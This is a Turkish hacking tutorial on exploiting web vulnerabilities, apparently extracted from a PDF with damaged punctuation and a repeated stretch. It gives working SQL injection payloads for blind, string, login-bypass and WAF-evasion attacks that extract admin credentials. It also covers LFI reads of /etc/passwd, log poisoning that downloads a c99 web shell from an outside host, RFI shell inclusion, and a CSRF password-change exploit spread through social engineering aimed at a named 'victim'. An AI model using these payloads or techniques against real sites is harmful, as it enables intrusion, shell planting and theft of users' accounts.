wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 30: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

